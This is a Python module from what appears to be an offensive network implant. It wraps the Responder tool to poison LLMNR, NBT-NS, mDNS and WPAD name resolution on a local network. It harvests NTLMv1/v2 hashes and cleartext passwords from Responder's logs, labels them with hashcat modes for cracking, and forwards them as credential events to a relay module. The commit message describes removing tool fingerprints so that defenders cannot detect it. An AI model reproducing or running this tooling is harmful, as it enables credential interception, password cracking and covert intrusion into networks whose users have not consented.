Files
bigbrother/modules/active/responder_mgr.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

427 lines
15 KiB
Python

#!/usr/bin/env python3
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
Manages Responder as a supervised subprocess. Generates Responder.conf
from a Jinja2 template, monitors log output for captured NTLMv1/v2
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
ntlm_relay to exclude relay targets from Responder's SMB server.
Resources: ~30MB RAM, ~3% CPU
"""
import glob
import logging
import os
import re
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Regex for Responder hash log filenames
HASH_FILE_PATTERN = re.compile(
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
)
# Regex for parsing NTLMv2 hash lines
NTLMV2_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
)
NTLMV1_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
)
class ResponderManager(BaseModule):
"""Responder subprocess manager with hash capture monitoring.
Dependencies:
- Responder installed at /opt/tools/Responder
Configuration:
responder_path: Path to Responder directory
interface: Network interface
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
"""
name = "responder_mgr"
module_type = "active"
priority = 150
requires_root = True
HASH_POLL_INTERVAL = 10 # seconds
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._hash_thread: Optional[threading.Thread] = None
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
self._iface = config.get("interface", "eth0")
self._log_dir = os.path.join(self._responder_path, "logs")
self._captured_hashes: list = []
self._hashes_lock = threading.Lock()
self._seen_hashes: set = set() # Dedup set
self._relay_targets: set = set() # IPs excluded from SMB for relay
self._protocols = {
"LLMNR": True,
"NBT-NS": True,
"mDNS": True,
"HTTP": True,
"SMB": True,
"WPAD": True,
"FTP": False,
"POP": False,
"IMAP": False,
"SMTP": False,
"LDAP": False,
}
self._template_dir = config.get(
"template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
if not os.path.isdir(self._responder_path):
logger.error("Responder not found at %s", self._responder_path)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ResponderManager started (ready to launch Responder)")
def stop(self) -> None:
if not self._running:
return
self.stop_responder()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ResponderManager stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"responder_running": proc_alive,
"responder_pid": self._proc.pid if proc_alive else None,
"captured_hash_count": len(self._captured_hashes),
"interface": self._iface,
"relay_targets": list(self._relay_targets),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "relay_targets" in config:
self._relay_targets = set(config["relay_targets"])
if "protocols" in config:
self._protocols.update(config["protocols"])
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_responder(self, protocols: dict = None) -> bool:
"""Start Responder with configured protocols.
Args:
protocols: Optional dict overriding default protocol toggles.
Returns:
True if Responder was started.
"""
if not self._running:
logger.error("ResponderManager not started")
return False
if self._proc and self._proc.poll() is None:
logger.warning("Responder already running (pid=%d)", self._proc.pid)
return True
if protocols:
self._protocols.update(protocols)
# Generate Responder.conf from template
self._write_responder_conf()
# Build command
responder_py = os.path.join(self._responder_path, "Responder.py")
if not os.path.isfile(responder_py):
logger.error("Responder.py not found at %s", responder_py)
return False
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
# Add protocol flags based on what we want DISABLED
if not self._protocols.get("WPAD"):
cmd.append("-w") # -w disables WPAD in newer Responder versions
# Responder's flags are for disabling features, not enabling them
# The .conf file controls which services are On/Off
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self._responder_path,
)
time.sleep(2)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("Responder failed to start: %s", stderr)
return False
# Start hash file monitoring thread
self._hash_thread = threading.Thread(
target=self._hash_monitor_loop, daemon=True, name="sensor-responder-hashes"
)
self._hash_thread.start()
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
return True
except Exception:
logger.exception("Failed to start Responder")
return False
def stop_responder(self) -> bool:
"""Stop the Responder subprocess.
Returns:
True if Responder was stopped.
"""
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop Responder")
return False
finally:
self._proc = None
logger.info("Responder stopped")
return True
def get_captured_hashes(self) -> list:
"""Return all captured hashes.
Returns:
List of dicts with hash details.
"""
with self._hashes_lock:
return list(self._captured_hashes)
def set_relay_targets(self, targets: set) -> None:
"""Set IPs that should be excluded from Responder's SMB server.
When coordinating with ntlm_relay, Responder should not respond
to targets that ntlmrelayx is relaying from.
Args:
targets: Set of IP addresses to exclude.
"""
self._relay_targets = set(targets)
# Regenerate config and restart if running
if self._proc and self._proc.poll() is None:
self._write_responder_conf()
logger.info("Updated relay exclusion targets: %s", targets)
# ------------------------------------------------------------------
# Responder.conf generation
# ------------------------------------------------------------------
def _write_responder_conf(self) -> None:
"""Generate Responder.conf from template or defaults."""
conf_path = os.path.join(self._responder_path, "Responder.conf")
# Try Jinja2 template first
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
if os.path.isfile(template_path):
try:
from jinja2 import Environment, BaseLoader
with open(template_path, "r") as f:
template_content = f.read()
env = Environment(loader=BaseLoader(), autoescape=True)
tmpl = env.from_string(template_content)
rendered = tmpl.render(
protocols=self._protocols,
relay_targets=[str(ip) for ip in self._relay_targets],
interface=self._iface,
)
with open(conf_path, "w") as f:
f.write(rendered)
return
except ImportError:
logger.warning("Jinja2 not available — using inline config")
except Exception:
logger.exception("Failed to render Responder.conf template")
# Fallback: write config directly
smb_on = "On" if self._protocols.get("SMB") else "Off"
http_on = "On" if self._protocols.get("HTTP") else "Off"
conf = (
"[Responder Core]\n\n"
"; Servers to start\n"
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
f"SMB = {smb_on}\n"
f"RDP = Off\n"
f"Kerberos = Off\n"
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
f"HTTP = {http_on}\n"
f"HTTPS = {http_on}\n"
f"DNS = Off\n"
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
f"DCERPC = Off\n"
f"WinRM = Off\n"
f"SNMP = Off\n"
f"MQTT = Off\n"
"\n"
"; Custom challenge\n"
"Challenge = Random\n"
"\n"
"; Set to On for downgrading to NTLMv1\n"
"DontRespondToNames =\n"
"\n"
)
with open(conf_path, "w") as f:
f.write(conf)
# ------------------------------------------------------------------
# Hash capture monitoring
# ------------------------------------------------------------------
def _hash_monitor_loop(self) -> None:
"""Monitor Responder log directory for new hash files."""
while self._running and self._proc and self._proc.poll() is None:
time.sleep(self.HASH_POLL_INTERVAL)
try:
self._scan_hash_files()
self._scan_session_log()
except Exception:
logger.exception("Hash monitor error")
def _scan_hash_files(self) -> None:
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
if not os.path.isdir(self._log_dir):
return
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
try:
with open(filepath, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
self._seen_hashes.add(line)
self._process_hash_line(line, filepath)
except Exception:
pass
def _scan_session_log(self) -> None:
"""Scan Responder-Session.log for cleartext credentials."""
session_log = os.path.join(self._log_dir, "Responder-Session.log")
if not os.path.isfile(session_log):
return
try:
with open(session_log, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
# Look for cleartext credential lines
if "Cleartext" in line or "Password" in line:
self._seen_hashes.add(line)
self._process_cleartext_line(line)
except Exception:
pass
def _process_hash_line(self, line: str, source_file: str) -> None:
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
# Determine hash type from filename
hash_type = "ntlmv2"
hashcat_mode = 5600
if "NTLMv1" in source_file:
hash_type = "ntlmv1"
hashcat_mode = 5500
# Parse username and domain
match = NTLMV2_REGEX.match(line)
if not match:
match = NTLMV1_REGEX.match(line)
if match:
username = match.group("username")
domain = match.group("domain")
else:
username = line.split("::")[0] if "::" in line else "unknown"
domain = ""
hash_entry = {
"timestamp": time.time(),
"username": username,
"domain": domain,
"hash_type": hash_type,
"hashcat_mode": hashcat_mode,
"hash_value": line,
"source_file": source_file,
}
with self._hashes_lock:
self._captured_hashes.append(hash_entry)
emit_credential_found(self.bus, self.name, {
"source_module": self.name,
"source_ip": "",
"target_service": "responder",
"username": username,
"domain": domain,
"credential_type": hash_type,
"credential_value": line,
"hashcat_mode": hashcat_mode,
})
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
def _process_cleartext_line(self, line: str) -> None:
"""Process a cleartext credential line from Responder session log."""
emit_credential_found(self.bus, self.name, {
"source_module": self.name,
"target_service": "responder_cleartext",
"credential_type": "cleartext",
"credential_value": line,
})